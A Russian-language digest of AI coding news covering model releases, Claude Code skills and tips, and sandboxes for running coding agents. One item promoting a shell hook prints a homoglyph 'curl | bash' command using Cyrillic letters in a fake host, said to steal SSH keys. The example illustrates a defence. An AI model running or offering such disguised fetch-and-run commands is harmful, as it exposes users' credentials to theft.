Вайб-кодинг

Сразу 2 мощнейших релиза: вышли Claude Opus 4.6 и GPT-5.3 Codex

Opus 4.6 от Anthropic:

– контекст 1 млн токенов (в бете)
– заметно лучше держит большие кодовые базы и длинный ризонинг
– стабильнее в агентных сценариях (кодинг, поиск, аналитика)
– адаптивное мышление, авто-компрессия контекста, 128k токенов output
– цена без изменений

https://www.anthropic.com/news/claude-opus-4-6

GPT-5.3 Codex от OpenAI:

– на TerminalBench обходит новый Opus 4.6 (77.3% против 65.4%), плюс 57% на SWE-Bench Pro и 64% на OSWorld
– управляемость прямо в процессе выполнения и живые апдейты по ходу задач
– для тех же задач тратит меньше чем в 2 раза токенов, чем 5.2-Codex, и при этом >25% быстрее на токен
– хорошо справляется с “computer use” (умеет нормально работать с задачами на компьютере)
– модель уже доступна в Codex

https://openai.com/index/introducing-gpt-5-3-codex/

Кто-то создал курс по изучению Claude Code в Claude Code: попробуйте

В Claude Code добавили новую команду /insights.

Когда вы её запускаете, Claude Code анализирует вашу историю сообщений за последний месяц. Он суммирует ваши проекты, показывает, как вы используете Claude Code, и даёт советы по оптимизации рабочего процесса.

Сейчас AI-агенты всё лучше пишут код, но запускать их напрямую на локалке не всегда то и хочется

Особенно в режиме автозапуска, страшно, что AI случайно удалит важные файлы или вообще получит доступ к приватным данным.

Недавно на GitHub наткнулся на Vibe: опенсорс проект для macOS, который поднимает сверхбыструю Linux-виртуалку в песочнице.

Главные плюсы: нулевая конфигурация, изоляция за <10 секунд, можно спокойно закрыть AI в клетку.

AI видит только текущий проект, а все остальные чувствительные каталоги полностью изолированы.

Написан на Rust, использует родную виртуализацию Apple, безопаснее Docker и при этом почти не грузит ресурсы

Ну всё, приехали.

AI-агенты будут автономно обучаться новым скиллам и становиться лучше сами по себе.

Вот этот, например, запускает 8 параллельных агентов, которые за 2 минуты скрейпят доки, GitHub, Stack Overflow и блоги.

Код на 100% open source.

Опенсорс скилл: code-review-expert

Агент-скилл, который делает ревью кода как сеньор-инженер:
• нарушения принципов SOLID
• уязвимости безопасности (XSS, инъекции, race condition)
• проблемы с производительностью (N+1, отсутствие кэша)
• обработка ошибок и граничные случаи

Установка командой:

npx skills add sanyuan0704/code-review-expert

repo: https://github.com/sanyuan0704/code-review-expert

Советы для работы с Claude Code

(Добавьте их в ваш CLAUDE .md файл)

1. Прежде чем писать код, опиши свой подход и дождись подтверждения. Всегда задавай уточняющие вопросы, если требования неясны.

2. Если задача затрагивает больше 3 файлов, остановись и разбей её на более мелкие подзадачи.

3. После написания кода, перечисли, что может сломаться, и предложи тесты для проверки.

4. При баге сначала напиши тест, который его воспроизводит, затем исправляй код, пока тест не проходит.

5. Каждый раз, когда я исправляю тебя, добавляй новое правило в CLAUDE .md файл, чтобы это больше не повторялось.

На англ.:

1. "Before writing any code, describe your approach and wait for approval. Always ask clarifying questions before writing any code if requirements are ambiguous."

2. "If a task requires changes to more than 3 files, stop and break it into smaller tasks first."

3. "After writing code, list what could break and suggest tests to cover it."

4. "When there’s a bug, start by writing a test that reproduces it, then fix it until the test passes."

5. "Every time I correct you, add a new rule to the CLAUDE .md file so it never happens again."

В файле правила обычно формулируются детальнее, чем здесь, но суть этих пунктов именно такая.

Теперь можно использовать Claude и Codex в GitHub и VScode с подпиской GitHub Copilot Pro+ или Copilot Enterprise.

▪️Единое рабочее пространство с сессиями агентов для локальных, фоновых и облачных агентов
▪️Параллельные сабагенты
▪️Встроенный браузер

И многое другое…

Будь честен. Когда ты в последний раз читал команду, прежде чем вставить её в терминал?

Потому что эти две строки выглядят одинаково:

curl -sSL https://install.example-cli | bash
curl -sSL https://іnstall.example-clі | bash

Одна устанавливает тулзу.
Другая — уводит твои SSH-ключи.

Вот эта і — кириллическая, не латинская. Браузер такое заблокирует. Терминал даже не моргнёт.

Новички копипастят команды из ChatGPT и случайных репозиториев, вообще не задумываясь. Мы буквально в одном curl | bash от того, чтобы потерять всё.

Поэтому и сделали фикс — tirith

Невидимый shell-хук. Он перехватывает омографические атаки, ANSI-инъекции, скрытые команды и перезапись дотфайлов до выполнения.

30 правил. Полностью локально. Никакой телеметрии

Теперь к Claude можно подключаться прямо в Chrome через расширение VS Code.

Используй это для отладки фронтенд-приложений, сбора данных или автоматизации работы в браузере.

Установи расширение и введи @browser, чтобы начать.

Установите расширение Claude в Chrome здесь, а VS Code здесь

Релиз Qwen3-Coder-Next — открытая модель для кода, заточенная под агентов и локальную разработку.

Что нового:

▪️800 000 проверяемых задач + исполняемые окружения
▪️сильные результаты на SWE-Bench Pro с 80B параметров всего и 3B активных
▪️Поддержка: OpenClaw, Qwen Code, Claude Code, веб-разработка, браузер, Cline и другие
▪️Hugging Face: [ссылка]
▪️ModelScope: [ссылка]
▪️Блог: [ссылка]
▪️Технический отчет: [ссылка]

Результаты на агентных бенчмарках: SWE-Bench Verified: Qwen3-Coder-Next >70% с фреймворком SWE-Agent

Несмотря на небольшой активный след, модель сравнима или превосходит несколько гораздо больших open-source моделей на разных агентных тестах.

Запустили RentAHuman.ai : сервис, где цифровые агенты могут нанимать реальных людей для выполнения задач в реальной жизни.

За первую ночь зарегистрировались уже 130+ человек, среди них модель с OnlyFans и CEO AI-стартапа. 😆

Теперь, если вашему AI-агенту нужна помощь IRL, достаточно одного MCP-вызова, чтобы подключить настоящего человека.

Это объединяет автономных агентов и реальный мир

Цитирование через промпт это надежда, что Claude процитирует точно. Фича citations это гарантирует.

Включается так: "citations": {"enabled": true} в ваших документах.

Каждая цитата будет структурно гарантированно ссылаться на реальный текст, который вы сами предоставили.

Citations работают везде:

▪️Ваши документы (PDF, текст) -> char_location, page_location
▪️Веб-поиск -> web_search_result_location (всегда включено)
▪️Ваши кастомные результаты RAG -> search_result_location

Один единый паттерн, чтобы любую заяву можно было быстро отследить до источника.

Доки

Совет по Cursor: перед тем как пушить PR, попроси агента разбить изменения на серию коммитов, чтобы ревью было проще.

Можно даже “стекать” skills вот так:

1. /code-review
2. /simplify (можно ли получить тот же результат меньшим кодом?)
3. /deslop (убрать лишние комментарии)
4. /commit-pr

Я протестировал много Claude Code скиллов, и последний из них: Planning with files.

Эта имба почти всегда (в 99% случаев) идеально закрывает все фичи, даже сложные.

Если ты ее не юзаешь, ты многое теряешь

Начать просто:

npx skills add https://github.com/othmanadi/planning-with-files --skill planning-with-files

Дальше, когда пишешь любой промпт, просто добавь фразу: “Plan with files”.

Claude сам подхватит скилл и создаст 3 файла: task_plan.md, findings.md, progress.md.

И в отличие от обычного plan mode, он будет возвращаться к этим файлам на протяжении всего планирования и выполнения, постоянно держа перед глазами что надо сделать и как.

Из-за этого “дрейф” почти пропадает, и план чётко выполняется по шагам.

Да, токенов съедает больше, но зато с первого раза и стабильно. Попробуй 👏

Исходный код

Зацените божественный проект NanoClaw.

Идея родилась так: автор посмотрел на раздутый кодбейз OpenClaw и просто поплыл: 52+ модулей, 8 конфигов, 45+ зависимостей. Трудноперевариваемая каша

В итоге он махнул рукой и сделал NanoClaw: код ужали и теперь понятно что за что отвечает

Запускается в контейнере Apple, агент крутится внутри, наружу особо не вылезает и ничего лишнего не творит. Вот это тру минимализм.

Исходники тут

Для тех, кто спрашивает:

“как гонять кодинг агентов и не угробить свой комп?”

Теперь доступны Docker Sandboxes.

Они работают в изолированных microVM, так что агенты могут ставить пакеты, запускать Docker и править конфиги, не трогая хост-систему.

Подробнее → читать